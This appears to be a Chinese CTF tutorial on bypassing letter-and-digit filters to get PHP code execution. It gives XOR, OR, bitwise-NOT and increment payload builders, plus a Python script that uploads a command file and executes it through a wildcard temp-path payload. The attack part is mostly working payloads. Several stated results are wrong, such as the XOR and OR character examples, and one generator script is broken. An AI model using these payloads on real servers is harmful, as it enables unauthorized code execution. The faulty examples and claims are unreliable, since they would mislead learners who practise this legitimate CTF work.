当前位置：首页 > news >正文

CTF选手必备：5种无字母数字RCE绕过技巧全解析（从原理到一键化脚本）

news 2026/6/13 16:36:47

CTF选手必备：5种无字母数字RCE绕过技巧全解析（从原理到一键化脚本）

在CTF竞赛中，遇到限制字母数字字符的代码执行题目是家常便饭。这类题目往往通过正则表达式过滤掉所有字母和数字，让选手陷入困境。但真正的安全研究者总能找到突破口。本文将深入解析五种高效绕过技术，从底层原理到实战脚本，助你在比赛中快速攻克此类关卡。

1. 异或运算的艺术：用符号拼出命令

异或绕过（XOR Bypass）的核心在于利用PHP中两个非字母数字字符的异或结果生成所需字符。例如，字符"A"可以通过"%"和"&"异或得到：

$A = '%' ^ '&'; // 结果为A

实现步骤：

生成所有可见字符的异或组合：

<?php $fp = fopen('xor.txt', 'w'); for($i=0;$i<256;$i++){ for($j=0;$j<256;$j++){ if(!preg_match('/[a-z0-9]/i', chr($i)) && !preg_match('/[a-z0-9]/i', chr($j))){ $result = $i ^ $j; if($result >=32 && $result<=126){ fwrite($fp, chr($result).' '.urlencode(chr($i)).' '.urlencode(chr($j))."\n"); } } } } fclose($fp);

使用Python脚本自动化构造Payload：

def generate_xor_payload(func, cmd): # 此处为简化示例，实际需加载xor.txt映射表 payload = f'("{xor_func}"^"{xor_cmd}")' return payload print(generate_xor_payload("system", "ls"))

提示：异或方法在PHP 7.0-8.0版本均有效，但需注意目标服务器是否禁用某些特殊字符。

2. 位或运算：另一种字符生成方式

位或（OR）运算与异或类似，但生成逻辑不同。例如：

$S = '^' | '@'; // 结果为S

关键对比：

特性	异或(XOR)	位或(OR)
字符覆盖率	高	较高
Payload长度	较长	中等
PHP版本兼容	5.4+	5.4+
特殊字符需求	较少	较多

实战脚本只需修改异或脚本中的运算符：

# 将异或脚本中的^替换为| output = "(\""+s1+"\"|\""+s2+"\")"

3. 取反操作：最简洁的绕过方式

取反（Bitwise NOT）是最高效的方法，直接使用不可见字符构造：

$system = ~('¬®¬«¤'[non_printable]);

一键生成工具：

php -r "echo urlencode(~'system').' '.urlencode(~'ls');" # 输出：%8C%86%8C%8B%9A%92 %93%8C

使用方式：

?(~%8C%86%8C%8B%9A%92)(~%93%8C);

注意：此方法不受正则过滤影响，但需要目标PHP开启短标签(<?=)

4. 自增技巧：无字符命令执行

通过PHP类型转换和自增操作构造字符：

$_=[];$_=@"$_"; // 得到"Array" $A=$_['!'=='@']; // 得到"A" $B=++$A; // 得到"B"

自动化生成脚本要点：

基础字符获取：

$chars = [ 'A' => '$_=[];$_=@"$_";$_=$_["!"=="@"];', 'B' => '$_=[];$_=@"$_";$_=$_["!"=="@"];$__=$_;$__++;$_=$__;' // 其他字符... ];

组合成完整函数：

$payload = '$_=[];$_=@"$_";$_=$_["!"=="@"];'; $payload .= '$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;'; // 构造's' $payload .= '$___=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;'; // 构造'y' // 继续构造'system'

5. 上传临时文件：完全避开字符限制

当所有字符构造方法都失效时，可通过上传临时文件执行命令：

import requests url = "http://target.com/restrict.php?code=?><?=`. /???/????????[@-[]`;?" files = {'file': ('payload', 'cat /flag', 'text/plain')} r = requests.post(url, files=files) print(r.text)

技术原理：

利用PHP临时文件命名规则（/tmp/phpXXXXXX）
通配符匹配临时文件路径：
- /???/????????匹配/tmp/phpXXXXXX
- [@-[]匹配大写字母

综合对比与实战选择

方法选择矩阵：

场景	推荐方法	原因
严格字符过滤	取反	完全不使用可见字符
需要复杂命令	异或/或	可构造任意字符
PHP版本>=7.1	上传临时文件	自增可能失效
有写权限限制	自增	不需要文件操作